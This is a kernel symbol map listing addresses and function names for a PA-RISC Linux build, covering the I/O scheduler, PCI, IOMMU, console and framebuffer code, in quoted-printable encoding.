10208b90 t cfq_exit_single_io_context=0A=
10208c30 t cfq_exit_io_context=0A=
10208c88 t cfq_exit_queue=0A=
10208cb0 t cfq_init_queue=0A=
10208f38 t cfq_slab_kill=0A=
10208f98 t cfq_var_show=0A=
10208fc0 t cfq_var_store=0A=
10209008 t cfq_quantum_show=0A=
10209024 t cfq_queued_show=0A=
10209040 t cfq_fifo_expire_sync_show=0A=
1020905c t cfq_fifo_expire_async_show=0A=
10209078 t cfq_back_max_show=0A=
10209094 t cfq_back_penalty_show=0A=
102090b0 t cfq_slice_idle_show=0A=
102090cc t cfq_slice_sync_show=0A=
102090e8 t cfq_slice_async_show=0A=
10209104 t cfq_slice_async_rq_show=0A=
10209120 t cfq_max_depth_show=0A=
1020913c t cfq_quantum_store=0A=
1020917c t cfq_queued_store=0A=
102091bc t cfq_fifo_expire_sync_store=0A=
10209208 t cfq_fifo_expire_async_store=0A=
10209254 t cfq_back_max_store=0A=
10209284 t cfq_back_penalty_store=0A=
102092c4 t cfq_slice_idle_store=0A=
10209300 t cfq_slice_sync_store=0A=
1020934c t cfq_slice_async_store=0A=
10209398 t cfq_slice_async_rq_store=0A=
102093d8 t cfq_max_depth_store=0A=
10209418 t cfq_attr_show=0A=
10209450 t cfq_attr_store=0A=
1020948c T __bitmap_and=0A=
102094c8 T __bitmap_or=0A=
10209504 T __bitmap_xor=0A=
10209540 T __bitmap_andnot=0A=
1020957c T __bitmap_complement=0A=
102095ec T __bitmap_equal=0A=
10209674 T __bitmap_intersects=0A=
10209700 T __bitmap_subset=0A=
1020978c T __bitmap_empty=0A=
10209808 T __bitmap_full=0A=
10209884 T __bitmap_weight=0A=
102099c8 T __bitmap_shift_right=0A=
10209b14 T __bitmap_shift_left=0A=
10209c34 T bitmap_scnprintf=0A=
10209d24 T bitmap_parse=0A=
10209fa0 T bitmap_scnlistprintf=0A=
1020a228 T bitmap_parselist=0A=
1020a398 t bitmap_pos_to_ord=0A=
1020a560 t bitmap_ord_to_pos=0A=
1020a764 T bitmap_bitremap=0A=
1020a7ac T bitmap_remap=0A=
1020aa3c T bitmap_find_free_region=0A=
1020aac0 T bitmap_release_region=0A=
1020ab10 T bitmap_allocate_region=0A=
1020abb8 T bust_spinlocks=0A=
1020ac20 T get_option=0A=
1020aca4 T get_options=0A=
1020ad1c T memparse=0A=
1020add0 T _atomic_dec_and_lock=0A=
1020ae3c T __div64_32=0A=
1020af84 t cmp_ex=0A=
1020afa4 T sort_extable=0A=
1020afd4 T search_extable=0A=
1020b018 t alloc_layer=0A=
1020b040 t free_layer=0A=
1020b05c T idr_pre_get=0A=
1020b0b4 t idr_get_new_above_int=0A=
1020b438 T idr_get_new_above=0A=
1020b474 T idr_get_new=0A=
1020b4b4 T idr_remove=0A=
1020b66c T idr_destroy=0A=
1020b6ac T idr_find=0A=
1020b708 t idr_cache_ctor=0A=
1020b728 T idr_init=0A=
1020b79c T int_sqrt=0A=
1020b7dc T kobject_get_path=0A=
1020b8a4 T kobject_set_name=0A=
1020b990 T kobject_get=0A=
1020b9b8 T kobject_init=0A=
1020ba0c T kobject_put=0A=
1020ba3c T kobject_cleanup=0A=
1020bae4 t kobject_release=0A=
1020bb00 t unlink=0A=
1020bb3c T kobject_del=0A=
1020bb60 T kobject_unregister=0A=
1020bb90 T kobject_rename=0A=
1020bbd8 T kobject_add=0A=
1020bd0c T kobject_register=0A=
1020bd78 T kset_init=0A=
1020bdac T kset_add=0A=
1020bdf0 T kset_register=0A=
1020be14 T kset_unregister=0A=
1020be30 T kset_find_obj=0A=
1020bec0 T subsystem_init=0A=
1020bee8 T subsystem_register=0A=
1020bf20 T subsystem_unregister=0A=
1020bf38 T subsys_create_file=0A=
1020bfa4 T subsys_remove_file=0A=
1020c008 t action_to_string=0A=
1020c08c t send_uevent=0A=
1020c24c t do_kobject_uevent=0A=
1020c350 T kobject_uevent=0A=
1020c36c T kobject_uevent_atomic=0A=
1020c388 T kobject_hotplug=0A=
1020c634 T add_hotplug_env_var=0A=
1020c6e4 T kref_init=0A=
1020c6f8 T kref_get=0A=
1020c75c T kref_put=0A=
1020c82c t get_index=0A=
1020c878 T prio_tree_replace=0A=
1020c92c T prio_tree_remove=0A=
1020ca50 T prio_tree_insert=0A=
1020cd10 t prio_tree_left=0A=
1020ce00 t prio_tree_right=0A=
1020cf24 t prio_tree_parent=0A=
1020cf94 T prio_tree_next=0A=
1020d0fc t radix_tree_node_alloc=0A=
1020d158 T radix_tree_preload=0A=
1020d1f8 T radix_tree_insert=0A=
1020d45c T radix_tree_lookup_slot=0A=
1020d4c0 T radix_tree_lookup=0A=
1020d524 T radix_tree_tag_set=0A=
1020d5ec T radix_tree_tag_clear=0A=
1020d6d0 T radix_tree_gang_lookup=0A=
1020d820 T radix_tree_gang_lookup_tag=0A=
1020da04 T radix_tree_delete=0A=
1020dbbc T radix_tree_tagged=0A=
1020dc04 t radix_tree_node_ctor=0A=
1020dc24 t __rb_rotate_left=0A=
1020dc70 t __rb_rotate_right=0A=
1020dcbc T rb_insert_color=0A=
1020ddd4 T rb_erase=0A=
1020e08c T rb_first=0A=
1020e0b4 T rb_last=0A=
1020e0dc T rb_next=0A=
1020e11c T rb_prev=0A=
1020e15c T rb_replace_node=0A=
1020e1b8 T __down_read_trylock=0A=
1020e1e8 T __down_write_trylock=0A=
1020e218 T init_rwsem=0A=
1020e234 T __downgrade_write=0A=
1020e324 T __up_write=0A=
1020e478 T __up_read=0A=
1020e51c T strnicmp=0A=
1020e594 T strcpy=0A=
1020e5b0 T strncpy=0A=
1020e5dc T strlen=0A=
1020e5f8 T strlcpy=0A=
1020e668 T strcat=0A=
1020e694 T strncat=0A=
1020e6d8 T strlcat=0A=
1020e790 T strcmp=0A=
1020e7b8 T strncmp=0A=
1020e7f0 T strchr=0A=
1020e814 T strrchr=0A=
1020e860 T strnchr=0A=
1020e8a0 T strnlen=0A=
1020e8d0 T strspn=0A=
1020e91c T strcspn=0A=
1020e960 T strpbrk=0A=
1020e9a4 T strsep=0A=
1020e9ec T memmove=0A=
1020ea40 T memcmp=0A=
1020ea70 T memscan=0A=
1020ea90 T strstr=0A=
1020eb10 T memchr=0A=
1020eb44 T simple_strtoul=0A=
1020eca8 T simple_strtol=0A=
1020ece4 T simple_strtoull=0A=
1020ee78 T simple_strtoll=0A=
1020eeb8 t skip_atoi=0A=
1020ef0c t number=0A=
1020f228 T vsnprintf=0A=
1020f854 T vscnprintf=0A=
1020f87c T snprintf=0A=
1020f8a8 T scnprintf=0A=
1020f8e4 T vsprintf=0A=
1020f908 T sprintf=0A=
1020f93c T vsscanf=0A=
1020ffd8 T sscanf=0A=
10210004 T __xchg32=0A=
10210018 T __xchg8=0A=
10210034 T __cmpxchg_u32=0A=
1021004c T memcpy_toio=0A=
102100cc T memcpy_fromio=0A=
102101a4 T memset_io=0A=
10210220 T insb=0A=
102102e4 T insw=0A=
10210468 T insl=0A=
1021061c T outsb=0A=
10210668 T outsw=0A=
102107d4 T outsl=0A=
10210988 T pa_memcpy=0A=
10210c34 t cda_ldw_exc=0A=
10210c4c t cda_stw_exc=0A=
10210c9c t pmc_load_exc=0A=
10210cb0 t pmc_store_exc=0A=
10210ce0 T memcpy=0A=
10210d10 T copy_to_user=0A=
10210d48 T copy_from_user=0A=
10210d80 T copy_in_user=0A=
10210dc8 T memset=0A=
10210e70 T $$divoI=0A=
10210e74 T $$divI=0A=
102110c0 T $$divU=0A=
102112d0 T $$divI_2=0A=
102112d0 T $$divide_by_constant=0A=
102112e0 T $$divI_4=0A=
102112f0 T $$divI_8=0A=
10211300 T $$divI_16=0A=
10211310 T $$divI_3=0A=
1021133c T $$divU_3=0A=
10211354 T $$divI_5=0A=
10211380 T $$divU_5=0A=
10211398 T $$divI_6=0A=
102113c8 T $$divU_6=0A=
102113e0 T $$divU_10=0A=
10211424 T $$divI_10=0A=
1021147c T $$divI_12=0A=
102114a0 T $$divU_12=0A=
102114b4 T $$divI_15=0A=
102114cc T $$divU_15=0A=
102114d8 T $$divI_17=0A=
1021150c T $$divU_17=0A=
10211528 T $$divI_7=0A=
102115c8 T $$divU_7=0A=
102115e0 T $$divI_9=0A=
10211614 T $$divU_9=0A=
10211630 T $$divI_14=0A=
10211634 T $$divU_14=0A=
10211650 t u32_swap=0A=
10211664 t generic_swap=0A=
10211684 T sort=0A=
10211854 T match_token=0A=
10211a8c t match_number=0A=
10211b4c T match_int=0A=
10211b68 T match_octal=0A=
10211b84 T match_hex=0A=
10211ba0 T match_strcpy=0A=
10211be8 T match_strdup=0A=
10211c34 T half_md4_transform=0A=
10211f70 T crc32_le=0A=
10212074 T crc32_be=0A=
1021215c T bitreverse=0A=
102121f4 T crc32c_le=0A=
1021224c T crc32c_be=0A=
1021229c t ioport_read8=0A=
102122b8 t ioport_read16=0A=
102122d4 t ioport_read32=0A=
102122f0 t ioport_write8=0A=
10212310 t ioport_write16=0A=
10212330 t ioport_write32=0A=
1021234c t ioport_read8r=0A=
10212368 t ioport_read16r=0A=
10212384 t ioport_read32r=0A=
102123a0 t ioport_write8r=0A=
102123bc t ioport_write16r=0A=
102123d8 t ioport_write32r=0A=
102123f4 t iomem_read8=0A=
10212408 t iomem_read16=0A=
10212428 t iomem_read16be=0A=
1021243c t iomem_read32=0A=
10212450 t iomem_read32be=0A=
1021245c t iomem_write8=0A=
10212470 t iomem_write16=0A=
10212490 t iomem_write16be=0A=
102124a4 t iomem_write32=0A=
102124b8 t iomem_write32be=0A=
102124c0 t iomem_read8r=0A=
102124e8 t iomem_read16r=0A=
10212510 t iomem_read32r=0A=
10212530 t iomem_write8r=0A=
10212554 t iomem_write16r=0A=
10212578 t iomem_write32r=0A=
10212594 T ioread8=0A=
102125d4 T ioread16=0A=
10212620 T ioread16be=0A=
10212660 T ioread32=0A=
102126ac T ioread32be=0A=
102126ec T iowrite8=0A=
10212734 T iowrite16=0A=
10212784 T iowrite16be=0A=
102127cc T iowrite32=0A=
1021281c T iowrite32be=0A=
1021285c T ioread8_rep=0A=
102128b8 T ioread16_rep=0A=
10212914 T ioread32_rep=0A=
10212970 T iowrite8_rep=0A=
102129cc T iowrite16_rep=0A=
10212a28 T iowrite32_rep=0A=
10212a84 T ioport_map=0A=
10212a90 T ioport_unmap=0A=
10212ab4 T pci_iomap=0A=
10212b70 T pci_iounmap=0A=
10212b98 T pci_bus_read_config_byte=0A=
10212bf0 T pci_bus_read_config_word=0A=
10212c50 T pci_bus_read_config_dword=0A=
10212cb4 T pci_bus_write_config_byte=0A=
10212cec T pci_bus_write_config_word=0A=
10212d2c T pci_bus_write_config_dword=0A=
10212d6c t pci_user_cached_config=0A=
10212d88 T pci_user_read_config_byte=0A=
10212e28 T pci_user_read_config_word=0A=
10212ed0 T pci_user_read_config_dword=0A=
10212f7c T pci_user_write_config_byte=0A=
10212fd0 T pci_user_write_config_word=0A=
10213034 T pci_user_write_config_dword=0A=
1021309c T pci_block_user_cfg_access=0A=
102130cc T pci_unblock_user_cfg_access=0A=
102130e4 T pci_bus_alloc_resource=0A=
102131d8 T pci_bus_add_device=0A=
10213224 T pci_bus_add_devices=0A=
10213344 T pci_enable_bridges=0A=
102133b8 T pci_walk_bus=0A=
1021346c T pci_remove_legacy_files=0A=
10213470 t pci_bus_show_cpuaffinity=0A=
102134c0 t release_pcibus_dev=0A=
102134f4 t pci_size=0A=
10213524 t pci_read_bases=0A=
102137e8 T pci_read_bridge_bases=0A=
10213a84 t pci_alloc_bus=0A=
10213ae0 T pci_add_new_bus=0A=
10213bf4 t pci_fixup_parent_subordinate_busnr=0A=
10213c4c t pci_read_irq=0A=
10213cb0 t pci_release_dev=0A=
10213ccc t pci_release_bus_bridge_dev=0A=
10213ce4 T pci_device_add=0A=
10213d6c T pci_scan_single_device=0A=
10214144 T pci_scan_slot=0A=
102141c4 T pci_scan_child_bus=0A=
10214298 T pci_scan_bridge=0A=
10214518 T pci_do_scan_bus=0A=
1021454c T pci_create_bus=0A=
10214728 T pci_scan_bus_parented=0A=
10214758 t pci_destroy_dev=0A=
10214810 T pci_remove_device_safe=0A=
10214848 T pci_remove_bus=0A=
102148c8 T pci_remove_bus_device=0A=
1021490c T pci_remove_behind_bridge=0A=
1021495c T pci_bus_max_busnr=0A=
102149bc T pci_max_busnr=0A=
10214a04 t __pci_find_next_cap=0A=
10214ac8 T pci_find_next_capability=0A=
10214af8 t __pci_bus_find_cap=0A=
10214b80 T pci_find_capability=0A=
10214bac T pci_bus_find_capability=0A=
10214c08 T pci_find_ext_capability=0A=
10214ce4 T pci_find_parent_resource=0A=
10214d64 T pci_restore_bars=0A=
10214df8 T pci_set_power_state=0A=
10214fdc T pci_choose_state=0A=
1021508c T pci_save_state=0A=
102150e4 T pci_restore_state=0A=
1021513c T pci_enable_device_bars=0A=
1021519c T pci_enable_device=0A=
102151e0 W pcibios_disable_device=0A=
102151e4 T pci_disable_device=0A=
10215274 T pci_enable_wake=0A=
102153c4 T pci_get_interrupt_pin=0A=
10215450 T pci_release_region=0A=
102154ec T pci_request_region=0A=
10215620 T pci_release_regions=0A=
1021565c T pci_request_regions=0A=
102156d4 T pci_set_master=0A=
10215754 T pci_set_mwi=0A=
10215864 T pci_clear_mwi=0A=
102158c0 T pci_intx=0A=
10215938 T pci_set_dma_mask=0A=
102159a0 T pci_set_consistent_dma_mask=0A=
10215a08 t pci_init=0A=
10215a44 t pci_setup=0A=
10215abc t quirk_passive_release=0A=
10215b48 t quirk_isa_dma_hangs=0A=
10215b84 t quirk_nopcipci=0A=
10215bc0 t quirk_triton=0A=
10215bfc t quirk_vialatency=0A=
10215ce4 t quirk_viaetbf=0A=
10215d20 t quirk_vsfx=0A=
10215d5c t quirk_natoma=0A=
10215d98 t quirk_citrine=0A=
10215da4 t quirk_s3_64M=0A=
10215dd4 t quirk_io_region=0A=
10215e8c t quirk_ati_exploding_mce=0A=
10215ee8 t quirk_ali7101_acpi=0A=
10215f7c t piix4_io_quirk=0A=
10216010 t piix4_mem_quirk=0A=
102160a8 t quirk_piix4_acpi=0A=
10216228 t quirk_ich4_lpc_acpi=0A=
102162c8 t quirk_ich6_lpc_acpi=0A=
10216368 t quirk_vt82c586_acpi=0A=
102163e0 t quirk_vt82c686_acpi=0A=
10216484 t quirk_vt8235_acpi=0A=
1021652c t quirk_via_acpi=0A=
1021658c t quirk_via_irq=0A=
10216638 t quirk_vt82c598_id=0A=
10216678 t quirk_cardbus_legacy=0A=
102166b8 t quirk_amd_ordering=0A=
10216760 t quirk_dunord=0A=
10216774 t quirk_transparent_bridge=0A=
10216784 t quirk_ide_bases=0A=
10216840 t quirk_svwks_csb5ide=0A=
102168c0 t quirk_pcie_mch=0A=
102168d0 t quirk_pcie_pxh=0A=
10216908 t quirk_netmos=0A=
102169ac t fixup_rev1_53c810=0A=
102169e0 T pci_fixup_device=0A=
10216ac0 t store_new_id=0A=
10216c1c T pci_match_id=0A=
10216cc0 T pci_match_device=0A=
10216d80 t pci_device_suspend=0A=
10216dd0 t pci_device_resume=0A=
10216e40 t pci_device_shutdown=0A=
10216e74 t pci_driver_attr_show=0A=
10216eec t pci_driver_attr_store=0A=
10216f74 T __pci_register_driver=0A=
1021703c T pci_unregister_driver=0A=
102170b4 T pci_dev_driver=0A=
102170f8 t pci_bus_match=0A=
10217124 T pci_dev_get=0A=
1021714c T pci_dev_put=0A=
10217174 t pci_device_remove=0A=
102171bc t pci_device_probe=0A=
1021724c t pci_do_find_bus=0A=
102172b8 T pci_find_next_bus=0A=
1021733c T pci_find_bus=0A=
10217398 T pci_get_slot=0A=
10217438 T pci_find_device=0A=
102174fc T pci_find_slot=0A=
1021755c T pci_get_subsys=0A=
10217664 T pci_get_device=0A=
10217688 T pci_find_device_reverse=0A=
1021774c T pci_get_class=0A=
10217804 T pci_dev_present=0A=
10217950 t vendor_show=0A=
1021797c t device_show=0A=
102179a8 t subsystem_vendor_show=0A=
102179d4 t subsystem_device_show=0A=
10217a00 t class_show=0A=
10217a2c t irq_show=0A=
10217a58 t local_cpus_show=0A=
10217ab0 t resource_show=0A=
10217b54 t modalias_show=0A=
10217bb0 t pci_read_config=0A=
10217de8 t pci_write_config=0A=
10217fd4 t pci_write_rom=0A=
10218014 t pci_read_rom=0A=
10218100 T pci_create_sysfs_dev_files=0A=
10218204 T pci_remove_sysfs_dev_files=0A=
10218290 t pci_disable_rom=0A=
102182e0 T pci_map_rom=0A=
10218568 T pci_unmap_rom=0A=
102185c0 T pci_map_rom_copy=0A=
1021866c T pci_remove_rom=0A=
102186d8 T pci_cleanup_rom=0A=
10218718 T pci_update_resource=0A=
1021888c T pci_claim_resource=0A=
10218974 T pci_assign_resource=0A=
10218ae8 T pdev_sort_resources=0A=
10218c20 t proc_bus_pci_lseek=0A=
10218d28 t proc_bus_pci_read=0A=
10218fa8 t proc_bus_pci_write=0A=
102191d0 t proc_bus_pci_ioctl=0A=
102191e4 t pci_seq_start=0A=
1021923c t pci_seq_next=0A=
1021927c t pci_seq_stop=0A=
102192a4 t show_device=0A=
10219404 T pci_proc_attach_device=0A=
102194d4 T pci_proc_detach_device=0A=
10219518 T pci_proc_attach_bus=0A=
10219588 T pci_proc_detach_bus=0A=
102195b8 t show_dev_config=0A=
10219848 t proc_pci_open=0A=
1021986c t proc_bus_pci_dev_open=0A=
10219890 T pci_hotplug=0A=
10219a74 T pci_setup_cardbus=0A=
10219c24 t find_free_bus_resource=0A=
10219c7c t pbus_size_mem=0A=
10219eac T pci_bus_size_bridges=0A=
1021a26c T pci_bus_assign_resources=0A=
1021a638 T sys_pciconfig_read=0A=
1021a858 T sys_pciconfig_write=0A=
1021a998 t iosapic_alloc_irt=0A=
1021a9c4 t iosapic_wr_irt_entry=0A=
1021aa38 t iosapic_get_vector=0A=
1021aa50 t iosapic_disable_irq=0A=
1021aafc t iosapic_enable_irq=0A=
1021abb0 t iosapic_end_irq=0A=
1021abd4 t iosapic_startup_irq=0A=
1021abf0 T iosapic_fixup_irq=0A=
1021adfc T iosapic_register=0A=
1021afc8 t sba_alloc_range=0A=
1021b308 T sba_io_pdir_entry=0A=
1021b3e4 t sba_dma_supported=0A=
1021b4d0 t sba_map_single=0A=
1021b6d4 t sba_unmap_single=0A=
1021b890 t sba_alloc_consistent=0A=
1021b928 t sba_free_consistent=0A=
1021b97c t sba_map_sg=0A=
1021bcc4 t sba_unmap_sg=0A=
1021bd90 t setup_ibase_imask=0A=
1021be08 t ioc_remap=0A=
1021be34 t sba_proc_info=0A=
1021bfc4 T sba_driver_callback=0A=
1021ca58 T sba_get_iommu=0A=
1021cae8 T sba_directed_lmmio=0A=
1021cbdc T sba_distributed_lmmio=0A=
1021ccc0 t lba_dump_res=0A=
1021cd54 t lba_device_present=0A=
1021cd88 t elroy_cfg_read=0A=
1021d074 t elroy_cfg_write=0A=
1021d440 t mercury_cfg_read=0A=
1021d5a0 t mercury_cfg_write=0A=
1021d70c t lba_bios_init=0A=
1021d710 t lba_fixup_bus=0A=
1021d920 t lba_astro_in8=0A=
1021d944 t lba_astro_in16=0A=
1021d974 t lba_astro_in32=0A=
1021d998 t lba_astro_out8=0A=
1021d9d4 t lba_astro_out16=0A=
1021da1c t lba_astro_out32=0A=
1021da58 T lba_set_iregs=0A=
1021db30 t ccio_alloc_range=0A=
1021dd1c T ccio_io_pdir_entry=0A=
1021dd8c t ccio_dma_supported=0A=
1021ddec t ccio_map_single=0A=
1021df68 t ccio_unmap_single=0A=
1021e17c t ccio_alloc_consistent=0A=
1021e204 t ccio_free_consistent=0A=
1021e258 t ccio_map_sg=0A=
1021e630 t ccio_unmap_sg=0A=
1021e71c t proc_append=0A=
1021e7b0 t ccio_proc_info=0A=
1021e980 t ccio_resource_map=0A=
1021ea34 T ccio_get_iommu=0A=
1021eaa8 T ccio_cujo20_fixup=0A=
1021eb04 t ccio_init_resource=0A=
1021eb88 t new_ioc_area=0A=
1021ec0c t expand_ioc_area=0A=
1021ece8 T ccio_allocate_resource=0A=
1021ee70 T ccio_request_resource=0A=
1021eee0 t ccio_probe=0A=
1021f310 T gsc_alloc_irq=0A=
1021f370 T gsc_claim_irq=0A=
1021f3e0 T gsc_asic_intr=0A=
1021f48c T gsc_find_local_irq=0A=
1021f4b0 t gsc_asic_disable_irq=0A=
1021f500 t gsc_asic_enable_irq=0A=
1021f550 t gsc_asic_startup_irq=0A=
1021f56c T gsc_assign_irq=0A=
1021f5ac T gsc_asic_assign_irq=0A=
1021f5f8 T gsc_fixup_irqs=0A=
1021f688 T gsc_common_setup=0A=
1021f6e8 t hppb_probe=0A=
1021f7f0 t dino_cfg_read=0A=
1021f928 t dino_cfg_write=0A=
1021fa70 t dino_in8=0A=
1021faac t dino_in16=0A=
1021faf8 t dino_in32=0A=
1021fb2c t dino_out8=0A=
1021fb68 t dino_out16=0A=
1021fbb0 t dino_out32=0A=
1021fbe0 t dino_disable_irq=0A=
1021fc34 t dino_enable_irq=0A=
1021fcbc t dino_startup_irq=0A=
1021fcd8 t dino_isr=0A=
1021fdd0 t dino_assign_irq=0A=
1021fe20 t dino_choose_irq=0A=
1021fe78 t quirk_cirrus_cardbus=0A=
1021fec0 t lasi_choose_irq=0A=
1021ffe0 t lasi_power_off=0A=
1021fffc t asp_choose_irq=0A=
10220110 t wax_choose_irq=0A=
102201c8 t led_proc_read=0A=
102202dc t led_ASP_driver=0A=
10220334 t led_LASI_driver=0A=
10220354 t led_LCD_driver=0A=
10220478 t led_work_func=0A=
1022068c T lcd_print=0A=
1022082c t start_task=0A=
10220888 t led_proc_write=0A=
10220a8c t led_halt=0A=
10220b64 t pdcspath_store=0A=
10220c34 t pdcspath_hwpath_read=0A=
10220ce0 t pdcspath_hwpath_write=0A=
10220ed0 t pdcspath_layer_read=0A=
10220f7c t pdcspath_layer_write=0A=
10221110 t pdcspath_attr_show=0A=
10221144 t pdcspath_attr_store=0A=
102211ac t pdcs_size_read=0A=
102211ec t pdcs_auto_read=0A=
10221244 t pdcs_autoboot_read=0A=
10221260 t pdcs_autosearch_read=0A=
1022127c t pdcs_timer_read=0A=
102212d0 t pdcs_osid_read=0A=
102213b0 t pdcs_fastsize_read=0A=
10221464 t pdcs_auto_write=0A=
10221618 t pdcs_autoboot_write=0A=
10221634 t pdcs_autosearch_write=0A=
10221650 t deferred_poweroff=0A=
10221684 t process_shutdown=0A=
102216ec t gecko_tasklet_func=0A=
10221730 t polling_tasklet_func=0A=
10221770 t parisc_panic_event=0A=
10221790 t dummycon_startup=0A=
1022179c t dummycon_init=0A=
102217e8 t dummycon_dummy=0A=
102217f0 t sticon_set_palette=0A=
102217f8 t sticon_putc=0A=
10221840 t sticon_putcs=0A=
102218cc t sticon_cursor=0A=
10221964 t sticon_scroll=0A=
10221a6c t sticon_bmove=0A=
10221aa8 t sticon_init=0A=
10221b70 t sticon_deinit=0A=
10221b74 t sticon_clear=0A=
10221bb8 t sticon_switch=0A=
10221bc0 t sticon_set_origin=0A=
10221bc8 t sticon_blank=0A=
10221c34 t sticon_scrolldelta=0A=
10221c3c t sticon_screen_pos=0A=
10221ccc t sticon_getxy=0A=
10221e14 t sticon_build_attr=0A=
10221e30 t sticon_invert_region=0A=
10221e7c t sticon_save_screen=0A=
10221e80 T sti_init_graph=0A=
10221f54 T sti_inq_conf=0A=
10221fd0 T sti_putc=0A=
102220e8 T sti_set=0A=
102221a8 T sti_clear=0A=
102222ec T sti_bmove=0A=
10222428 t sti_flush=0A=
10222478 t sticore_pci_init=0A=
10222580 t sticore_pci_remove=0A=
102225b8 T sti_get_rom=0A=
10222660 T find_font=0A=
1022269c T get_default_font=0A=
102226e0 t fbcon_update_softback=0A=
10222730 t fb_flashcursor=0A=
10222b00 t cursor_timer_handler=0A=
10222b38 t fbcon_add_cursor_timer=0A=
10222c48 t fbcon_del_cursor_timer=0A=
10222ca8 t search_fb_in_map=0A=
10222cdc t fbcon_takeover=0A=
10222db0 t fbcon_clear_margins=0A=
10222e14 t fbcon_prepare_logo=0A=
102231b0 t set_blitting_type=0A=
1022320c t var_to_display=0A=
102232e8 t fbcon_preset_disp=0A=
10223380 t display_to_var=0A=
10223454 t fbcon_startup=0A=
10223728 t fbcon_init=0A=
10223ac0 t fbcon_deinit=0A=
10223b34 t fbcon_clear=0A=
10223cb8 t fbcon_putcs=0A=
1022401c t fbcon_putc=0A=
10224048 t fbcon_set_disp=0A=
102242d0 t set_con2fb_map=0A=
10224774 t fbcon_redraw_move=0A=
10224874 t fbcon_redraw=0A=
10224a04 t fbcon_bmove_rec=0A=
10224bc4 t fbcon_bmove=0A=
10224c84 t fbcon_resize=0A=
102250b0 t fbcon_get_font=0A=
1022528c t fbcon_set_palette=0A=
102253f8 t fbcon_screen_pos=0A=
10225488 t fbcon_getxy=0A=
102255d0 t fbcon_invert_region=0A=
102256d0 t fbcon_scrolldelta=0A=
10225c34 t fbcon_set_origin=0A=
10225c64 t fbcon_cursor=0A=
10225fec t fbcon_blank=0A=
102261b0 t fbcon_scroll=0A=
10226ec4 t fbcon_do_set_font=0A=
10227218 t fbcon_copy_font=0A=
10227274 t fbcon_set_def_font=0A=
10227310 t fbcon_set_font=0A=
10227510 t fbcon_switch=0A=
10227b44 t fbcon_event_notify=0A=
10228664 t bit_bmove=0A=
1022870c t bit_clear=0A=
102287c0 t bit_putcs=0A=
10228c88 t bit_clear_margins=0A=
10228dac t bit_cursor=0A=
102292fc t bit_update_start=0A=
10229340 T fbcon_set_bitops=0A=
10229390 T soft_cursor=0A=
10229560 T fb_get_color_depth=0A=
102295ac T fb_pad_aligned_buffer=0A=
102295e8 T fb_pad_unaligned_buffer=0A=
102296d0 T fb_get_buffer_offset=0A=
10229784 T fb_prepare_logo=0A=
1022978c T fb_show_logo=0A=
10229794 t fbmem_read_proc=0A=
10229878 t fb_read=0A=
10229a8c t fb_write=0A=
10229ca0 t try_to_load=0A=
10229cc4 T fb_pan_display=0A=
10229dfc T fb_set_var=0A=
10229fc4 T fb_blank=0A=
1022a04c t fb_ioctl=0A=
1022a394 t fb_mmap=0A=
1022a4bc t fb_open=0A=
1022a5b4 t fb_release=0A=
1022a638 T register_framebuffer=0A=
1022a7c0 T unregister_framebuffer=0A=
1022a860 T fb_register_client=0A=
1022a884 T fb_unregister_client=0A=
1022a8a8 T fb_set_suspend=0A=
1022a904 T fb_new_modelist=0A=
1022aa38 T fb_con_duit=0A=
1022aa64 T fb_get_options=0A=
1022ab8c T fb_parse_edid=0A=
1022ab94 T fb_edid_to_monspecs=0A=
1022ab98 T fb_destroy_modedb=0A=
1022ab9c T fb_get_mode=0A=
1022aba4 T fb_validate_mode=0A=
1022ad34 T fb_firmware_edid=0A=
1022ad3c T fb_dealloc_cmap=0A=
1022ad88 T fb_default_cmap=0A=
1022adb8 T fb_copy_cmap=0A=
1022aeac T fb_alloc_cmap=0A=
1022af8c T fb_cmap_to_user=0A=
1022b0a4 T fb_set_cmap=0A=
1022b1e0 T fb_set_user_cmap=0A=
1022b2f8 T fb_invert_cmaps=0A=
1022b45c T framebuffer_alloc=0A=
1022b4e4 T framebuffer_release=0A=
1022b4fc t activate=0A=
1022b560 t mode_string=0A=
1022b5d4 t store_mode=0A=
1022b6e0 t show_mode=0A=
1022b718 t store_modes=0A=
1022b810 t show_modes=0A=
1022b884 t store_bpp=0A=
1022b900 t show_bpp=0A=
1022b930 t store_rotate=0A=
1022b9ac t show_rotate=0A=
1022b9dc t store_con_rotate=0A=
1022ba48 t store_con_rotate_all=0A=
1022bab4 t show_con_rotate=0A=
1022bb0c t store_virtual=0A=
1022bbbc t show_virtual=0A=
1022bbf4 t show_stride=0A=
1022bc24 t store_cmap=0A=
1022bec4 t show_cmap=0A=
1022bfa4 t store_blank=0A=
1022c02c t show_blank=0A=
1022c034 t store_console=0A=
1022c03c t show_console=0A=
1022c044 t store_cursor=0A=
1022c04c t show_cursor=0A=
1022c054 t store_pan=0A=
1022c114 t show_pan=0A=
1022c14c t show_name=0A=
1022c17c T fb_init_class_device=0A=
1022c1d8 T fb_cleanup_class_device=0A=
1022c228 t my_atoi=0A=
1022c254 t fb_try_mode=0A=
1022c310 T fb_find_mode=0A=
1022c848 T fb_var_to_videomode=0A=
1022c950 T fb_videomode_to_var=0A=
1022c9ac T fb_mode_is_equal=0A=
1022ca3c T fb_find_best_mode=0A=
1022cab8 T fb_find_nearest_mode=0A=
1022cb50 T fb_match_mode=0A=
1022cbc4 T fb_add_videomode=0A=
1022cc6c T fb_delete_videomode=0A=
1022ccf8 T fb_destroy_modelist=0A=
1022cd5c T fb_videomode_to_modelist=0A=
1022cdc8 T fb_find_best_display=0A=
1022cf14 T fb_find_mode_cvt=0A=
1022d6f8 t bitfill_aligned=0A=
1022d848 t bitfill_unaligned=0A=
1022d9f4 t bitfill_aligned_rev=0A=
1022db58 t bitfill_unaligned_rev=0A=
1022dd1c T cfb_fillrect=0A=
1022e0a4 T cfb_copyarea=0A=
1022eb18 T cfb_imageblit=0A=
1022f004 t SETUP_HW=0A=
1022f044 t SETUP_FB=0A=
1022f170 t ngleSetupAttrPlanes=0A=
1022f268 t hyperUndoITE=0A=
1022f334 t ngleDepth8_ClearImagePlanes=0A=
1022f338 t ngleDepth24_ClearImagePlanes=0A=
1022f33c t ngleResetAttrPlanes=0A=
1022f480 t ngleClearOverlayPlanes=0A=
1022f518 t stifb_read=0A=
1022f610 t stifb_write=0A=
1022f740 t stifb_setcolreg=0A=
1022f974 t stifb_blank=0A=
1022fb30 t read_mem=0A=
1022fc28 t write_mem=0A=
1022fd30 t mmap_mem=0A=
1022fda0 t mmap_kmem=0A=
1022fde8 t read_kmem=0A=
1022ff44 t write_kmem=0A=
10230158 t read_port=0A=
1023020c t write_port=0A=
102302d0 t read_null=0A=
102302d8 t write_null=0A=
